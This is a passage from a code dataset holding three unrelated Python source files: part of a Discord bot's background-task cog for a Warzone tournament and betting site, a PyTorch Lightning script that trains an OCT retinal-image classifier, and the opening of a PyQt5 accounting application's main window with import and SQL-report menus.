channel.send(embed=emb)\n odds_created_sent.append(bo)\n\n channel_links = DiscordChannelCLOTBookLink.objects.filter(results_only=True)\n for cl in channel_links:\n channel = self.bot.get_channel(cl.channelid)\n if hasattr(self.bot, 'uptime') and channel:\n bet_odds = BetGameOdds.objects.filter(sent_finished_notification=False, game__is_finished=True)\n print(\"Found {} finished bet game odds\".format(bet_odds.count()))\n for bo in bet_odds:\n if bo.game.winning_team:\n if not cl.does_game_pass_filter(bo.game):\n odds_finished_sent.append(bo)\n continue\n emb = self.bot.get_default_embed()\n emb = cb.get_bet_results_card(bo, emb)\n if emb:\n await channel.send(embed=emb)\n odds_finished_sent.append(bo)\n except Exception:\n log_exception()\n finally:\n for odds in odds_created_sent:\n odds.sent_created_notification = True\n odds.save()\n for odds in odds_finished_sent:\n odds.sent_finished_notification = True\n odds.save()\n\n async def handle_game_logs(self):\n channel_links = DiscordChannelTournamentLink.objects.all()\n games_sent = []\n try:\n for cl in channel_links:\n channel = self.bot.get_channel(cl.channelid)\n # for each channel, see if there are any new games that have finished in the tournament that's linked\n # only look at games that have finished times greater than when the bot started\n game_log_text = \"\"\n if hasattr(self.bot, 'uptime') and channel:\n games = self.orm_helpers.get_game_logs_for_tournament(cl.tournament, self.bot.uptime-datetime.timedelta(days=3))\n if len(games) > 0:\n log_bot_msg(\"Found {} games to log in channel {}\".format(len(games), channel.name))\n for game in games:\n if game.game_finished_time is None and game.winning_team or not game.winning_team:\n continue # ignore games with no finished time (which might be 0 and returned in this query)\n # we have the game, construct the log text and send it to the channel\n\n # Check if game passes player/clan filter\n if not cl.does_game_pass_filter(game):\n games_sent.append(game)\n continue\n\n # bold the clans if any, and italicize\n teams = game.teams.split('.')\n team_list = []\n team_list.append(game.winning_team.id)\n for team in teams:\n if int(team) not in team_list:\n team_list.append(int(team))\n\n player_team_id_list = None\n if game.players:\n player_team_id_list = game.players.split(\"-\")\n\n wrote_defeats = False\n for team in team_list:\n tt = TournamentTeam.objects.filter(pk=team)\n if tt:\n tt = tt[0]\n # look up the clan for this team, and bold/write the clan name in there.\n if tt.clan_league_clan and tt.clan_league_clan.clan:\n game_log_text += \"**{}** \".format(tt.clan_league_clan.clan.name)\n\n # if game has 'players' value, use that otherwise get names from TournamentPlayer\n if player_team_id_list:\n tplayers = player_team_id_list[teams.index(str(team))].split(\".\")\n else:\n tplayers = TournamentPlayer.objects.filter(team=tt)\n\n for tplayer in tplayers:\n if player_team_id_list:\n player_name = Player.objects.filter(token=tplayer)\n player_name = player_name[0].name\n else:\n player_name = tplayer.player.name\n game_log_text += \"*{}*, \".format(player_name)\n\n game_log_text = game_log_text[:-2]\n if not wrote_defeats:\n game_log_text += \" defeats \"\n wrote_defeats = True\n\n tournament = find_tournament_by_id(game.tournament.id, True)\n if tournament and hasattr(tournament, 'clan_league_template') and tournament.clan_league_template:\n game_log_text += \"\\n{}\".format(tournament.clan_league_template.name)\n\n game_log_text += \"\\n<{}>\".format(game.game_link)\n\n log_bot_msg(\"Looping through channels to log: {}, length: {}\".format(game_log_text, len(game_log_text)))\n if channel and len(game_log_text) > 0:\n log_bot_msg(\"Sending game_log to channel: {}\".format(channel.name))\n try:\n await channel.send(game_log_text)\n games_sent.append(game)\n game_log_text = \"\"\n except:\n log_bot_msg(\"Exception: {} when sending message to server {}, channel {}\".format(log_exception(), channel.guild.name, channel.name))\n\n except Exception:\n log_exception()\n finally:\n for g in games_sent:\n g.game_log_sent = True\n g.save()\n\n async def handle_server_stats(self):\n pass\n\n async def handle_hours6_tasks(self):\n #await self.handle_clan_league_next_game()\n pass\n\n async def handle_hours4_tasks(self):\n # every 4 hours we currently only send clan league updates\n pass\n\n async def handle_hours_tasks(self):\n pass\n\n async def handle_day_tasks(self):\n await self.handle_server_stats()\n\n async def handle_no_winning_team_games(self):\n games = TournamentGame.objects.filter(winning_team__isnull=True, is_finished=True, no_winning_team_log_sent=False)\n msg = \"\"\n if games:\n msg += \"**Games finished with no winning team found**\"\n for game in games:\n for cc in self.bot.critical_error_channels:\n msg += \"\\n{} | ID: {} \\nLink: <{}> \\nLogs: \".format(game.tournament.name, game.gameid, game.game_link, game.gameid)\n msg = msg[:1999]\n await cc.send(msg)\n game.no_winning_team_log_sent = True\n game.save()\n msg = \"\"\n\n async def handle_rt_ladder(self):\n tournaments = Tournament.objects.filter(has_started=True, is_finished=False)\n for tournament in tournaments:\n child_tournament = find_tournament_by_id(tournament.id, True)\n if child_tournament and not child_tournament.should_process_in_engine():\n try:\n child_tournament.update_in_progress = True\n child_tournament.save()\n games = TournamentGame.objects.filter(is_finished=False, tournament=tournament)\n for game in games.iterator():\n # process the game\n # query the game status\n child_tournament.process_game(game)\n # in case tournaments get stalled for some reason\n # for it to process new games based on current tournament data\n child_tournament.process_new_games()\n await self.handle_rtl_tasks()\n except Exception as e:\n log_exception()\n finally:\n child_tournament.update_in_progress = False\n child_tournament.save()\n gc.collect()\n\n async def handle_process_queue(self):\n for i in range(0, len(self.bot.process_queue)):\n gc.collect()\n t = find_tournament_by_id(self.bot.process_queue[i], True)\n if t:\n print(\"Processing data for {}\".format(t.name))\n games = TournamentGame.objects.filter(is_finished=False, tournament=t)\n for game in games.iterator():\n # process the game\n # query the game status\n t.process_game(game)\n gc.collect()\n t.process_new_games()\n self.bot.process_queue.pop(i)\n\n async def handle_cache_queue(self):\n for i in range(0, len(self.bot.cache_queue)):\n gc.collect()\n t = find_tournament_by_id(self.bot.cache_queue[i], True)\n if t:\n print(\"Caching data for {}\".format(t.name))\n t.cache_data()\n self.bot.cache_queue.pop(i)\n\n async def handle_critical_errors(self):\n logs = self.orm_helpers.get_critical_errors()\n if logs:\n for log in logs:\n for cc in self.bot.critical_error_channels:\n msg = \"**Critical Log Found**\\n\"\n msg += log.msg\n msg = msg[:1999]\n await cc.send(msg)\n await asyncio.sleep(1)\n log.bot_seen = True\n log.save()\n\n async def handle_discord_tournament_updates(self):\n try:\n updates = self.orm_helpers.get_tournament_updates()\n for u in updates:\n # look up the tournament, and get all channel links for that tournament\n channel_links = self.orm_helpers.get_channel_tournament_links(u.tournament)\n for c in channel_links:\n channel = self.bot.get_channel(c.channelid)\n if channel:\n await channel.send(u.update_text)\n u.bot_send = True\n u.save()\n except:\n log_exception()\n\n async def handle_all_tasks(self):\n # calculate the time different here\n # determine if we need hours run or 4 hours run\n # for 1 hour, executions should be 360\n start = datetime.datetime.utcnow()\n hours = (self.executions % 360 == 0)\n hours4 = (self.executions % (360*4) == 0)\n hours6 = (self.executions % (360*6) == 0)\n day = (self.executions % (360*24) == 0)\n two_minute = (self.executions % 12 == 0)\n\n try:\n if hours:\n await self.handle_hours_tasks()\n if hours4:\n await self.handle_hours4_tasks()\n if hours6:\n await self.handle_hours6_tasks()\n if day:\n await self.handle_day_tasks()\n if two_minute:\n start = datetime.datetime.utcnow()\n await self.handle_rt_ladder()\n end = datetime.datetime.utcnow()\n self.bot.perf_counter(\"RT Ladder Tasks took {} total seconds\".format((end-start).total_seconds()))\n\n # always tasks\n start = datetime.datetime.utcnow()\n await self.handle_always_tasks()\n end = datetime.datetime.utcnow()\n self.bot.perf_counter(\"Always Tasks took {} total seconds\".format((end-start).total_seconds()))\n except Exception:\n log_exception()\n finally:\n end = datetime.datetime.utcnow()\n self.bot.perf_counter(\"All Tasks took {} total seconds\".format((end-start).total_seconds()))\n gc.collect()\n\n async def handle_always_tasks(self):\n start = datetime.datetime.utcnow()\n await self.handle_critical_errors()\n end = datetime.datetime.utcnow()\n self.bot.perf_counter(\"Critical Errors Tasks took {} total seconds\".format((end-start).total_seconds()))\n start = datetime.datetime.utcnow()\n await self.handle_game_logs()\n end = datetime.datetime.utcnow()\n self.bot.perf_counter(\"Game Logs Tasks took {} total seconds\".format((end-start).total_seconds()))\n start = datetime.datetime.utcnow()\n await self.handle_cache_queue()\n end = datetime.datetime.utcnow()\n self.bot.perf_counter(\"Cache queue took {} total seconds\".format((end-start).total_seconds()))\n start = datetime.datetime.utcnow()\n await self.handle_process_queue()\n end = datetime.datetime.utcnow()\n self.bot.perf_counter(\"Process queue took {} total seconds\".format((end-start).total_seconds()))\n start = datetime.datetime.utcnow()\n await self.handle_discord_tournament_updates()\n end = datetime.datetime.utcnow()\n self.bot.perf_counter(\"Tournament updates Tasks took {} total seconds\".format((end-start).total_seconds()))\n start = datetime.datetime.utcnow()\n await self.handle_clotbook()\n end = datetime.datetime.utcnow()\n self.bot.perf_counter(\"CLOTBook Tasks took {} total seconds\".format((end-start).total_seconds()))\n\n async def process_member_join(self, memid):\n member = self.bot.get_user(memid)\n if member:\n send_message = False\n discord_user = DiscordUser.objects.filter(memberid=memid)\n emb = discord.Embed(color=self.bot.embed_color)\n emb.set_author(icon_url=self.bot.user.avatar_url, name=\"WarzoneBot\")\n emb.title = \"It's nice to meet you!\"\n emb.set_footer(text=\"Bot created and maintained by -B#0292\")\n msg = \"Hello {},\\n\\nI'm a homemade Warzone Discord Bot. \\n\\nI'm reaching out because your discord account\".format(\n member.name)\n msg += \" is not linked to the CLOT (custom ladder or tournament). Please see http://wzclot.eastus.cloudapp.azure.com/me/ for instructions\"\n msg += \" on how to link the two accounts together.\\n\\nThis will allow you to participate in the bot's\"\n msg += \" new real-time-ladder, as well as help to become verified in the Warzone discord server.\"\n emb.add_field(name=\"Welcome\", value=msg)\n\n if not discord_user:\n discord_user = DiscordUser(memberid=memid)\n discord_user.save()\n else:\n discord_user = discord_user[0]\n\n if not discord_user.link_mention:\n print(\"Sending welcome message to {}\".format(member.name))\n await member.send(embed=emb)\n discord_user.link_mention = True\n discord_user.save()\n\n @tasks.loop(seconds=10.0)\n async def bg_task(self):\n # runs every 10 seconds to check various things\n # are there any new games on the RTL that just got allocated?\n try:\n await self.bot.wait_until_ready()\n owner = self.bot.owner\n await self.handle_all_tasks()\n self.last_task_run = timezone.now()\n self.executions += 1\n except:\n print_exc()\n raise\n\nclass DjangoORMHelpers():\n\n def get_critical_errors(self):\n return list(Logger.objects.filter(level=LogLevel.critical, bot_seen=False))\n\n def get_tournament_updates(self):\n return list(DiscordTournamentUpdate.objects.filter(bot_send=False))\n\n def get_channel_tournament_links(self, tournament):\n return list(DiscordChannelTournamentLink.objects.filter(tournament=tournament))\n\n def get_rtl_games(self, ladder):\n return list(TournamentGame.objects.filter(tournament=ladder, is_finished=False, mentioned=False))\n\n def get_game_logs_for_tournament(self, tournament, time_since):\n return list(TournamentGame.objects.filter(is_finished=True, tournament=tournament, game_finished_time__gt=(time_since), game_log_sent=False))\n\ndef setup(bot):\n bot.add_cog(Tasks(bot))","sub_path":"wlct/cogs/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":21928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"605814455","text":"gpus = \"0,1\"\nimport os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = gpus\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nimport cv2\nimport glob\nimport numpy as np\nimport pandas as pd\nfrom PIL import Image\nfrom sklearn.metrics import accuracy_score, cohen_kappa_score\nfrom sklearn.model_selection import StratifiedKFold, GroupKFold\n\nimport timm\nimport torch\nimport torch.nn as nn\nimport albumentations as A\nimport pytorch_lightning as pl\nfrom albumentations.pytorch import ToTensorV2\nfrom torch.utils.data import Dataset, DataLoader\nfrom pytorch_lightning.loggers import TensorBoardLogger\nfrom utils.loss.smooth import LabelSmoothingLoss\nfrom utils.mixup import mixup_data, mixup_criterion\npl.seed_everything(0)\n\n\nclass Model(pl.LightningModule):\n def __init__(self, **args):\n super(Model, self).__init__()\n for k, v in args.items():\n setattr(self, k, v)\n self.args = args\n self.model = timm.create_model(self.model_name, pretrained = True, in_chans = 1, num_classes = self.num_classes, drop_rate = self.drop_rate)\n self.criterion = LabelSmoothingLoss(classes = self.num_classes, smoothing = self.smoothing)\n self.save_hyperparameters()\n\n class Data(Dataset):\n def __init__(self, df, trans, **args):\n self.df = df\n self.trans = trans\n for k, v in args.items():\n setattr(self, k, v)\n \n def __getitem__(self, idx):\n image = np.array(Image.open(self.df.loc[idx, \"oct_file\"]))\n label = np.array(self.df.loc[idx, \"label\"])\n\n if self.trans is not None:\n image = self.trans(image = image)[\"image\"]\n return image, label\n\n def __len__(self):\n return len(self.df)\n\n def prepare_data(self):\n img_files = sorted(glob.glob(\"./data/train/images/*/*_crop.jpg\"))\n oct_files = sorted(glob.glob(\"./data/train/images/*/*/*_crop.png\"))\n\n labels = pd.read_csv(\"./data/train/train.csv\")\n labels[\"label\"] = labels.non + 2 * labels.early + 3 * labels.mid_advanced - 1\n labels[\"uid\"] = labels.pop(\"data\")\n\n df_img = pd.DataFrame({\"img_file\": img_files})\n df_img[\"uid\"] = df_img.img_file.apply(lambda x: int(os.path.basename(os.path.dirname(x))))\n df_oct = pd.DataFrame({\"oct_file\": oct_files})\n df_oct[\"uid\"] = df_oct.oct_file.apply(lambda x: int(os.path.basename(os.path.dirname(x))))\n df_oct = df_oct.iloc[::5]\n\n df = labels.merge(df_img, on = \"uid\", how = \"outer\").merge(df_oct, on = \"uid\", how = \"outer\")\n df = df.reset_index(drop = True)\n\n split = GroupKFold(5)\n train_idx, valid_idx = list(split.split(df, groups = df.uid))[self.fold]\n self.df_train = df.loc[train_idx].reset_index(drop = True) if self.fold != -1 else df.reset_index(drop = True)\n self.df_valid = df.loc[valid_idx].reset_index(drop = True)\n self.ds_train = self.Data(self.df_train, self.trans_train, **self.args)\n self.ds_valid = self.Data(self.df_valid, self.trans_valid, **self.args)\n\n def train_dataloader(self):\n return DataLoader(self.ds_train, self.batch_size, shuffle = True, num_workers = 4)\n\n def val_dataloader(self):\n return DataLoader(self.ds_valid, self.batch_size, num_workers = 4)\n\n def configure_optimizers(self):\n optimizer = torch.optim.AdamW(self.model.parameters(), lr = self.learning_rate, weight_decay = 2e-5)\n lr_scheduler = {'scheduler': torch.optim.lr_scheduler.OneCycleLR(optimizer, max_lr = self.learning_rate, steps_per_epoch = int(len(self.train_dataloader())), epochs = self.num_epochs, anneal_strategy = \"linear\", final_div_factor = 30,), 'name': 'learning_rate', 'interval':'step', 'frequency': 1}\n return [optimizer], [lr_scheduler]\n\n def on_fit_start(self):\n metric_placeholder = {\"valid_metric\": 0}\n self.logger.log_hyperparams(self.hparams, metrics = metric_placeholder)\n\n def forward(self, x):\n yhat = self.model(x)\n return yhat\n\n def training_step(self, batch, batch_idx):\n x, y = batch\n if self.alpha != 0:\n x, ya, yb, lam = mixup_data(x, y, self.alpha)\n yhat = self(x)\n loss = mixup_criterion(self.criterion, yhat, ya, yb, lam)\n else:\n yhat = self(x)\n loss = self.criterion(yhat, y)\n self.log(\"train_loss\", loss)\n return loss\n\n def validation_step(self, batch, batch_idx):\n x, y = batch\n yhat = self(x)\n loss = self.criterion(yhat, y)\n self.log(\"valid_loss\", loss, prog_bar = True)\n return y, yhat\n\n def validation_step_end(self, output):\n return output\n\n def validation_epoch_end(self, outputs):\n y = torch.cat([_[0] for _ in outputs]).detach().cpu().numpy()\n yhat = torch.cat([_[1] for _ in outputs]).argmax(1).detach().cpu().numpy()\n df = self.val_dataloader().dataset.df.iloc[:len(y)]\n df[\"pred\"] = yhat\n y = df.groupby(\"uid\").agg(\"mean\").label.round().astype(int)\n yhat = df.groupby(\"uid\").agg(\"mean\").pred.round().astype(int)\n kap = cohen_kappa_score(y, yhat, weights = \"quadratic\")\n self.log(\"valid_metric\", kap, prog_bar = True)\n\nargs = dict(\n learning_rate = 1e-3,\n model_name = \"tf_efficientnet_b0_ns\",\n num_epochs = 30,\n batch_size = 64,\n fold = 4,\n num_classes = 3,\n smoothing = 0.,\n alpha = 1,\n image_size = 384,\n drop_rate = 0.5,\n swa = False,\n name = \"OCT/b0ns\",\n version = \"v2_0.2\"\n)\nargs['trans_train'] = A.Compose([\n A.Resize(args['image_size'], args['image_size']),\n A.HorizontalFlip(),\n A.VerticalFlip(),\n A.RandomRotate90(),\n A.GridDistortion(),\n A.PiecewiseAffine(),\n A.Normalize([0], [1]),\n ToTensorV2()])\nargs['trans_valid'] = A.Compose([\n A.Resize(args['image_size'], args['image_size']),\n A.Normalize([0], [1]),\n ToTensorV2()])\n\nif __name__ == \"__main__\":\n logger = TensorBoardLogger(\"./logs\", name = args[\"name\"], version = args[\"version\"], default_hp_metric = False)\n callback = pl.callbacks.ModelCheckpoint(\n filename = '{epoch}_{valid_metric:.3f}',\n save_last = True,\n mode = \"max\",\n monitor = 'valid_metric'\n )\n model = Model(**args)\n trainer = pl.Trainer(\n gpus = len(gpus.split(\",\")), \n precision = 16, amp_backend = \"native\", amp_level = \"O1\", \n accelerator = \"dp\",\n gradient_clip_val = 10,\n max_epochs = args[\"num_epochs\"],\n stochastic_weight_avg = args[\"swa\"],\n logger = logger,\n progress_bar_refresh_rate = 10,\n callbacks = [callback]\n )\n trainer.fit(model)","sub_path":"Solver_OCT.py","file_name":"Solver_OCT.py","file_ext":"py","file_size_in_byte":6672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"63517781","text":"#-*- coding: utf-8 -*-\r\n\r\n'''\r\nCreated on 19 janv. 2016\r\n\r\n@author: acremieux\r\n'''\r\n\r\n#Imports from the Python library\r\nimport os\r\nimport sys\r\nimport csv\r\nimport time\r\nimport itertools\r\n\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets;\r\nimport modelmanager.connect_dic as con_dic;\r\nimport modelmanager.db_manager as mngr;\r\nimport datastream.type_functions as tf;\r\nimport view.table_tree_view as treeView;\r\nimport datastream.glob as glob;\r\nfrom PyQt5.Qt import QStandardItemModel, QVariant, QFileDialog, QDialog\r\nfrom PyQt5.Qt import QMessageBox, QInputDialog\r\nfrom view.query_view_table import QueryViewTable\r\nfrom test.test_binop import isint\r\nimport functools\r\nfrom datastream.glob import chart_account_ext\r\nfrom sys import stdin, stdout\r\n\r\n\r\nclass Ui_iris_main(object):\r\n \r\n def setupUi(self, iris_main, conDic : con_dic.ConnectInfos, table_year, year_dimension):\r\n #Init Central windows\r\n self._main_windows = iris_main;\r\n self._init_windows(iris_main);\r\n self.centralwidget = self._init_central_widget(iris_main);\r\n self.gridLayout = self._init_grid_layout(self.centralwidget);\r\n iris_main.setCentralWidget(self.centralwidget);\r\n \r\n #Central splitter : left for the treeview, right for the tab view\r\n self.mainSplitter = self._init_main_splitter(self.centralwidget);\r\n self.leftLayoutWdg = self._init_left_layout(self.mainSplitter);\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\r\n sizePolicy.setHorizontalStretch(2)\r\n sizePolicy.setVerticalStretch(0)\r\n self.leftLayoutWdg.setSizePolicy(sizePolicy);\r\n self.rightLayoutWdg = self._init_right_layout(self.mainSplitter);\r\n self.gridLayout.addWidget(self.mainSplitter, 0, 0, 1, 1)\r\n self.leftLayoutWdg.raise_()\r\n self.rightLayoutWdg.raise_()\r\n \r\n #Tree view declarations\r\n self.tablesTreeLayout = self._init_tables_tree_layout(self.leftLayoutWdg);\r\n self.tablesTreeView = None;\r\n \r\n #Tab view declarations\r\n self.tabViewLayout = self._init_tab_view_layout(self.rightLayoutWdg);\r\n self.tabWidget = None;\r\n self.queryTabs = [];\r\n self.queryViews = [];\r\n \r\n #Initiate menubar and menubar's menus and menus' actions\r\n self.menubar = QtWidgets.QMenuBar(iris_main)\r\n self.menubar.setGeometry(QtCore.QRect(0, 0, 1024, 21))\r\n self.menubar.setObjectName(\"menubar\")\r\n self.menuFichier = QtWidgets.QMenu(self.menubar)\r\n self.menuFichier.setObjectName(\"menuFichier\")\r\n self.menuYear = QtWidgets.QMenu(self.menubar)\r\n self.menuYear.setObjectName(\"menuYear\")\r\n self.menuRqt = QtWidgets.QMenu(self.menubar)\r\n self.menuRqt.setObjectName(\"menuRqt\")\r\n iris_main.setMenuBar(self.menubar)\r\n \r\n self.showAnalyticsBook = QtWidgets.QAction(iris_main);\r\n self.showAnalyticsBook.setObjectName(\"showAnalyticsBook\");\r\n self.showAnalyticsBook.triggered.connect(functools.partial(self._query_from_file_dialog,\r\n \"Grand livre analytique\",\r\n \"sqlscript/gd_livre_analytique.txt\",\r\n [['Entrez l\\'année : ', 'i']]));\r\n \r\n self.showGeneralEntries = QtWidgets.QAction(iris_main);\r\n self.showGeneralEntries.setObjectName(\"showGeneralEntries\");\r\n self.showGeneralEntries.triggered.connect(functools.partial(self._query_from_file_dialog,\r\n \"Visionner un compte général\",\r\n \"sqlscript/ecriture_compte.txt\",\r\n [['Entrez l\\'année : ', 'i'],\r\n ['Entrez le numéro de compte : ', 'i']]));\r\n \r\n self.showGeneralBook = QtWidgets.QAction(iris_main);\r\n self.showGeneralBook.setObjectName(\"showGeneralBook\");\r\n self.showGeneralBook.triggered.connect(functools.partial(self._query_from_file_dialog,\r\n \"Grand livre general\",\r\n \"sqlscript/gd_livre_general.txt\",\r\n [['Entrez l\\'année : ', 'i']]));\r\n \r\n self.showClientEntries = QtWidgets.QAction(iris_main);\r\n self.showClientEntries.setObjectName(\"showClientEntries\");\r\n self.showClientEntries.triggered.connect(functools.partial(self._query_from_file_dialog,\r\n \"Ecritures client\",\r\n \"sqlscript/ecriture_client.txt\",\r\n [['Entrez l\\'année : ', 'i'],\r\n ['Entrez le code client : ', 's']]));\r\n \r\n \r\n self.showAnalyticsEntries = QtWidgets.QAction(iris_main);\r\n self.showAnalyticsEntries.setObjectName(\"showAnalyticsEntries\");\r\n self.showAnalyticsEntries.triggered.connect(functools.partial(self._query_from_file_dialog,\r\n \"Ecritures activité\",\r\n \"sqlscript/ecriture_analytique.txt\",\r\n [['Entrez l\\'année : ', 'i'],\r\n ['Entrez le code de l\\'activité : ', 's']]));\r\n \r\n \r\n self.showClientAccount = QtWidgets.QAction(iris_main);\r\n self.showClientAccount.setObjectName(\"showClientAccount\");\r\n self.showClientAccount.triggered.connect(functools.partial(self._query_from_file_dialog,\r\n \"Ecritures d'un compte pour un client\",\r\n \"sqlscript/ecriture_compte_client.txt\",\r\n [['Entrez l\\'année : ', 'i'],\r\n ['Entrez le code du client : ', 's'],\r\n ['Entrez le numéro de compte : ', 'i']]));\r\n \r\n self.showAnalyticsAccount = QtWidgets.QAction(iris_main);\r\n self.showAnalyticsAccount.setObjectName(\"showAnalyticsAccount\");\r\n self.showAnalyticsAccount.triggered.connect(functools.partial(self._query_from_file_dialog,\r\n \"Ecritures d'un compte pour une activité\",\r\n \"sqlscript/ecriture_compte_activite.txt\",\r\n [['Entrez l\\'année : ', 'i'],\r\n ['Entrez l\\'activité : ', 's'],\r\n ['Entrez le numéro de compte : ', 'i']]));\r\n \r\n self.showReportPlan = QtWidgets.QAction(iris_main);\r\n self.showReportPlan.setObjectName(\"showReportPlan\");\r\n self.showReportPlan.triggered.connect(functools.partial(self._query_from_file,\r\n \"Plan reporting\",\r\n \"sqlscript/plan_reporting.txt\"));\r\n \r\n self.showUnbalancedAnalytics = QtWidgets.QAction(iris_main);\r\n self.showUnbalancedAnalytics.setObjectName(\"showUnbalancedAnalytics\");\r\n self.showUnbalancedAnalytics.triggered.connect(functools.partial(self._query_from_file_dialog,\r\n \"Ecritures analytiques non équilibrées\",\r\n \"sqlscript/ecriture_analytique_non_equilibree.txt\",\r\n [['Entrez l\\'année : ', 'i']],\r\n True));\r\n \r\n self.showMissingAnalytics = QtWidgets.QAction(iris_main);\r\n self.showMissingAnalytics.setObjectName(\"showMissingAnalytics\");\r\n self.showMissingAnalytics.triggered.connect(functools.partial(self._query_from_file_dialog,\r\n \"Ecritures analytiques non renseignées\",\r\n \"sqlscript/ecriture_non_ventilee_analytique.txt\",\r\n [['Entrez l\\'année : ', 'i']],\r\n True));\r\n \r\n self.openLogFile = QtWidgets.QAction(iris_main)\r\n self.openLogFile.setObjectName(\"openLogFile\")\r\n self.createLogFile = QtWidgets.QAction(iris_main)\r\n self.createLogFile.setObjectName(\"createLogFile\")\r\n self.modLogFile = QtWidgets.QAction(iris_main)\r\n self.modLogFile.setObjectName(\"modLogFile\")\r\n \r\n self.importBook = QtWidgets.QAction(iris_main)\r\n self.importBook.setObjectName(\"importBook\")\r\n self.importBook.triggered.connect(functools.partial(self._import_from_file, \r\n glob.PATH[glob.accounting_book], \r\n glob.TABLES_NAMES['grand_livre'], \r\n \"Importer un grand livre au format SAGE - csv\"));\r\n \r\n self.exportBookCSV = QtWidgets.QAction(iris_main)\r\n self.exportBookCSV.setObjectName(\"exportBookCSV\")\r\n \r\n self.importChartAccount = QtWidgets.QAction(iris_main)\r\n self.importChartAccount.setObjectName(\"importChartAccount\")\r\n self.importChartAccount.triggered.connect(functools.partial(self._import_from_file, \r\n glob.PATH[glob.chart_account_ext],\r\n glob.TABLES_NAMES['plan_comptable'],\r\n \"Importer un plan comptable\"));\r\n \r\n self.importAnalyticsAccount = QtWidgets.QAction(iris_main)\r\n self.importAnalyticsAccount.setObjectName(\"importAnalyticsAccount\")\r\n targets_tables = [];\r\n targets_tables.append(glob.TABLES_NAMES['analytics_plan']);\r\n targets_tables.append(glob.TABLES_NAMES['analytics_section']);\r\n targets_tables.append(glob.TABLES_NAMES['analytics_activity']);\r\n targets_tables.append(glob.TABLES_NAMES['analytics_relation']);\r\n self.importAnalyticsAccount.triggered.connect(functools.partial(self._import_splitted_file,\r\n glob.PATH[glob.analytics_account_ext],\r\n targets_tables,\r\n \"Importer un plan analytique\"));\r\n \r\n self.importReportingAccount = QtWidgets.QAction(iris_main)\r\n self.importReportingAccount.setObjectName(\"importReportingAccount\")\r\n targets_tables = [];\r\n targets_tables.append(glob.TABLES_NAMES['report_page']);\r\n targets_tables.append(glob.TABLES_NAMES['report_rubric']);\r\n targets_tables.append(glob.TABLES_NAMES['report_title']);\r\n targets_tables.append(glob.TABLES_NAMES['report_subtitle']);\r\n self.importReportingAccount.triggered.connect(functools.partial(self._import_splitted_file,\r\n glob.PATH[glob.chart_account_ext], \r\n targets_tables,\r\n \"Importer un plan reporting\"));\r\n \r\n self.importReportingRel = QtWidgets.QAction(iris_main);\r\n self.importReportingRel.setObjectName(\"editReportingRel\");\r\n self.importReportingRel.triggered.connect(functools.partial(self._import_from_file,\r\n glob.PATH[glob.chart_account_ext],\r\n glob.TABLES_NAMES['report_relation'],\r\n \"Importer une ventilation des comptes de reporting\"));\r\n \r\n self.quit = QtWidgets.QAction(iris_main)\r\n self.quit.setObjectName(\"quit\")\r\n self.menuFichier.addAction(self.openLogFile)\r\n self.menuFichier.addAction(self.createLogFile)\r\n self.menuFichier.addAction(self.modLogFile)\r\n self.menuFichier.addSeparator()\r\n self.menuFichier.addAction(self.importBook)\r\n self.menuFichier.addAction(self.exportBookCSV)\r\n self.menuFichier.addSeparator()\r\n self.menuFichier.addAction(self.importChartAccount)\r\n self.menuFichier.addSeparator()\r\n self.menuFichier.addAction(self.importAnalyticsAccount)\r\n self.menuFichier.addSeparator()\r\n self.menuFichier.addAction(self.importReportingAccount)\r\n self.menuFichier.addSeparator()\r\n self.menuFichier.addAction(self.importReportingRel);\r\n self.menuFichier.addSeparator()\r\n self.menuFichier.addAction(self.quit)\r\n \r\n self.menuRqt.addAction(self.showAnalyticsBook)\r\n self.menuRqt.addAction(self.showReportPlan)\r\n self.menuRqt.addSeparator()\r\n self.menuRqt.addAction(self.showGeneralBook)\r\n self.menuRqt.addAction(self.showGeneralEntries)\r\n self.menuRqt.addSeparator()\r\n self.menuRqt.addAction(self.showClientEntries)\r\n self.menuRqt.addAction(self.showClientAccount)\r\n self.menuRqt.addSeparator()\r\n self.menuRqt.addAction(self.showAnalyticsEntries)\r\n self.menuRqt.addAction(self.showAnalyticsAccount)\r\n self.menuRqt.addSeparator()\r\n self.menuRqt.addAction(self.showUnbalancedAnalytics)\r\n self.menuRqt.addAction(self.showMissingAnalytics)\r\n \r\n self.menubar.addAction(self.menuFichier.menuAction())\r\n self.menubar.addAction(self.menuYear.menuAction())\r\n self.menubar.addAction(self.menuRqt.menuAction())\r\n \r\n #Initiate statusbar\r\n self.statusbar = QtWidgets.QStatusBar(iris_main)\r\n self.statusbar.setObjectName(\"statusbar\")\r\n iris_main.setStatusBar(self.statusbar)\r\n \r\n #Initiate toolbar\r\n self.toolBar = QtWidgets.QToolBar(iris_main)\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Ignored, QtWidgets.QSizePolicy.Fixed)\r\n sizePolicy.setHorizontalStretch(0)\r\n sizePolicy.setVerticalStretch(0)\r\n sizePolicy.setHeightForWidth(self.toolBar.sizePolicy().hasHeightForWidth())\r\n self.toolBar.setSizePolicy(sizePolicy)\r\n self.toolBar.setMinimumSize(QtCore.QSize(0, 30))\r\n self.toolBar.setObjectName(\"toolBar\")\r\n iris_main.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar)\r\n \r\n self.retranslateUi(iris_main)\r\n QtCore.QMetaObject.connectSlotsByName(iris_main)\r\n \r\n #INIT INFOS FROM THE MODEL\r\n #Init condic : connection with the database\r\n self._condic = conDic;\r\n self._db = mngr.DbManager(self._condic, 8889);\r\n \r\n if (self._db.error == False):\r\n #Fetch available table names and table infos\r\n self._db.init_tables();\r\n self._tables_names = self._db.tables_names;\r\n self._tables_desc = None;\r\n self._tables_head = None;\r\n self._fetch_tables_description();\r\n \r\n #Fetch available years and initialize the years menu\r\n #self._db.execute_query(\"SELECT DISTINCT YEAR(date_inscription) FROM tbl_client_pgrm;\");\r\n self._year_table = table_year;\r\n self._year_dimension = year_dimension;\r\n self._years = self._db.fetch_year_dimension(self._year_table, self._year_dimension);\r\n self._db.close_cursor();\r\n \r\n if (self._db.error == False):\r\n self._init_year_menu(iris_main);\r\n \r\n 